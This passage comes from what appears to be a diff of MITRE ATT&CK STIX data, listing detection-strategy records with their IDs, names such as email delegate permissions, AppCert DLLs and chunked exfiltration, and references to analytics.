15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0373", + "external_id": "DET0373" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Addition of Email Delegate Permissions", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--25bd8222-a9c0-4771-8250-7d6ce7b2d176", + "x-mitre-analytic--42d5a9d5-f897-4c45-b577-9b2c776c6c0d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cd0c92f4-2345-40ae-aa73-ccc1eb78eb14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0531", + "external_id": "DET0531" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e95d8309-8435-4c32-9ac3-38e350c170c5", + "x-mitre-analytic--b31afcb5-1690-43f1-acbb-3e2936e48616", + "x-mitre-analytic--7a9088cb-cfe8-4a4a-979c-1ef7678179f2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3de93376-739e-4842-875d-d6e9948db8d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0362", + "external_id": "DET0362" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for AppCert DLLs Persistence via Registry Injection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--abe61118-51b2-45ad-93bc-9215dad25b25" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--22fe898e-3b53-468c-b2b2-dd59abc83297", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0017", + "external_id": "DET0017" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8fcdd234-c8d8-4d95-b381-91c92cb319b6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a948dd3c-a8f3-4bc0-aec3-4c5264e7a012", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0332", + "external_id": "DET0332" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for AutoHotKey & AutoIT Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7975ae39-8c6b-45cc-9280-98e94b666c85" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b79f47ca-4c42-4658-ba71-a6374778eb98", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0428", + "external_id": "DET0428" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Bind Mounts on Linux", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d5c81e57-37c4-4393-a202-0955af560983" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--be6a466c-40c6-4611-9b68-7cfcbcb35fb0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0237", + "external_id": "DET0237" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Boot or Logon Initialization Scripts: RC Scripts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--98f8728d-ff74-47cb-b884-25071a21f77e", + "x-mitre-analytic--e716b209-5b06-4bc4-843f-cbe4c51ddc0d", + "x-mitre-analytic--69562961-14e6-42a7-9f8a-24ac00f6404e", + "x-mitre-analytic--b053dbd4-ad1e-45e1-a6b7-af2a5d931c82" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--62b445ed-7d9d-4c1a-8d4e-6c742ec1b0e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0459", + "external_id": "DET0459" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Build Image on Host", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f568a973-fb34-41aa-950f-f46457544564" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fda20a62-ad83-4d45-8a65-84883b07707b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0545", + "external_id": "DET0545" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Cloud Administration Command", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d8d5a1c0-9ba1-4735-af42-3d5b9d7a6603" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8bc479cf-727b-40d1-92d2-5755766d8544", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0539", + "external_id": "DET0539" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Cloud Application Integration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6feb9746-7b2c-4f6f-92c9-bfdb14eddddc", + "x-mitre-analytic--036a6a5d-bd87-45c7-bd68-43df76167786" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--22331b2d-e8a1-4820-ae6b-7d04f24f7df7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0169", + "external_id": "DET0169" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Cloud Infrastructure Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a9372c6a-8d3b-420a-ad9d-8ef8d284205f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a9351ea0-8379-47cd-a5c5-c5cf424249ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0402", + "external_id": "DET0402" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Cloud Service Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fe8c1ef5-59ed-40c3-b7f6-eb560555ee22", + "x-mitre-analytic--e2dd9fee-91b7-4e32-8031-69ed4d7b927c", + "x-mitre-analytic--19b6de3a-032f-4dc8-aa72-7cd952dfed59", + "x-mitre-analytic--a0730d9f-0a05-4153-8c6a-6f04f9f7346c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e769419e-39f6-478d-97b8-cf0672fa635b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0147", + "external_id": "DET0147" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Cloud Service Hijacking via SaaS Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--01967eb2-5169-4113-aff0-ac2180fd14d9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c4f5335d-8e85-4b45-86b1-1d5a8cc6523d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0578", + "external_id": "DET0578" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Cloud Storage Object Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--be55aa59-62b5-40cd-bab2-dbc4de80da0e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--72d668ba-f4d1-43ff-b7b1-0dbad9ec6ed9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0505", + "external_id": "DET0505" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Command Obfuscation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e6e98024-2fa7-444c-af90-32ec5d4d2666", + "x-mitre-analytic--cad9e775-f40f-42fb-8e86-c7aba249a8e4", + "x-mitre-analytic--20157d55-1760-483c-a3b1-c6e219eeb75c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--48d80184-842f-419a-ab84-01030f866bd4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0501", + "external_id": "DET0501" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Compile After Delivery - Source Code to Executable Transformation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3cd889a5-7955-4d38-a49b-89e8d276ceab", + "x-mitre-analytic--774d555e-b94b-4dbd-bc3b-fb60d55e6e2d", + "x-mitre-analytic--56a814a9-2b6b-4fcc-a530-e9ca62faaa17" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f3d5d1d5-3d80-46b2-be05-f0c438625230", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0281", + "external_id": "DET0281" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Compressed Payload Creation and Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--18253101-bce9-453e-ab03-603bbd174552", + "x-mitre-analytic--55083ce8-b00e-4501-97db-829082bdbb48", + "x-mitre-analytic--62afd8a1-550d-43a6-a56a-7d5ae5abbcf6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e9a74ecb-cc65-4c21-ae40-850e3317c248", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0065", + "external_id": "DET0065" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Container Administration Command Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ab1122c5-f459-4097-8ba7-f5a7960d2da5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2f4449cb-0eec-4871-bff3-f846f12bec15", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0490", + "external_id": "DET0490" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Container and Resource Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3947e311-cada-4eab-b4fd-1ea1f3fc3485" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7a084a47-c4ea-4996-8d23-ffe0b19206fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0349", + "external_id": "DET0349" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Content Injection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8384d942-2f83-4968-9959-fd2f55afb311", + "x-mitre-analytic--5e8af32c-5246-43e1-a7d9-c4d263c7b135", + "x-mitre-analytic--ba6a9282-30e0-491c-90a7-35bf4ad25ba3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d7106707-eee8-443f-b106-e7eff58a739e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0108", + "external_id": "DET0108" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Data Encoding in C2 Channels", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f979bacd-580c-4948-b501-c42dd4a8cb92", + "x-mitre-analytic--d32cc2a4-60ed-4761-809e-a59cde2a1881", + "x-mitre-analytic--2bf1ce64-970b-4d0d-bf5f-a854fc6d7235", + "x-mitre-analytic--cb428c22-0a5a-44c9-ae63-6b1bedb34fee" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cce3ccaf-87ac-47ae-b9e2-6507b91cb63d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0059", + "external_id": "DET0059" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Data Manipulation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--64d6b35c-4785-4e2b-bc93-1f54f626a7a7", + "x-mitre-analytic--2e700f3b-bf9c-427c-a099-b80d233c1ccb", + "x-mitre-analytic--13f8d339-8239-4d84-adf2-1abf1a0f3d5d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d96f78ad-21cd-45dc-940a-63b348894728", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0213", + "external_id": "DET0213" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Data Transfer Size Limits and Chunked Exfiltration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1e9fdc71-d073-403a-9ee9-bab091318454", + "x-mitre-analytic--4baad14d-46b1-4e96-9e2a-138ae4e3ec75", + "x-mitre-analytic--d0edef63-9a98-4435-9f4b-2c577c7de41d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ff993025-1f12-486f-936f-6cc563050278", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0592", + "external_id": "DET0592" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Data from Configuration Repository on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c5544183-4868-4a5c-ad8c-8a9359358298" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--79eb1874-4762-461b-a748-df85e61f3216", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0410", + "external_id": "DET0410" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Data from Network Shared Drive", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--72ba4979-f786-4205-a5da-90874e12813f", + "x-mitre-analytic--2d1d5482-b82b-45ff-9563-959766d373ff", + "x-mitre-analytic--67ca77c9-074f-4c93-9592-cabe9ba8a831" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--22f3a380-389d-44f7-a846-c6223fc06ddd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0371", + "external_id": "DET0371" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Debugger Evasion (T1622)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d5f0b652-3699-45af-97e6-81e7426558bd", + "x-mitre-analytic--e4a9dd91-3354-40c8-a55c-941d53f2ddec", + "x-mitre-analytic--c78d2e09-07d7-48ef-add1-bde622e502a2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ff6c2db6-cc1b-47e0-89a6-536f83b74906", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0579", + "external_id": "DET0579" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Device Driver Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--18e81e76-bae3-44c8-b573-dfd3564a00ad", + "x-mitre-analytic--b55c3339-2d4c-4392-8d26-c257ea2f1bb9", + "x-mitre-analytic--d9ee822c-6a91-4c83-9698-779ca0bf8663" + ], + "x_mitre_attack_spec_version": 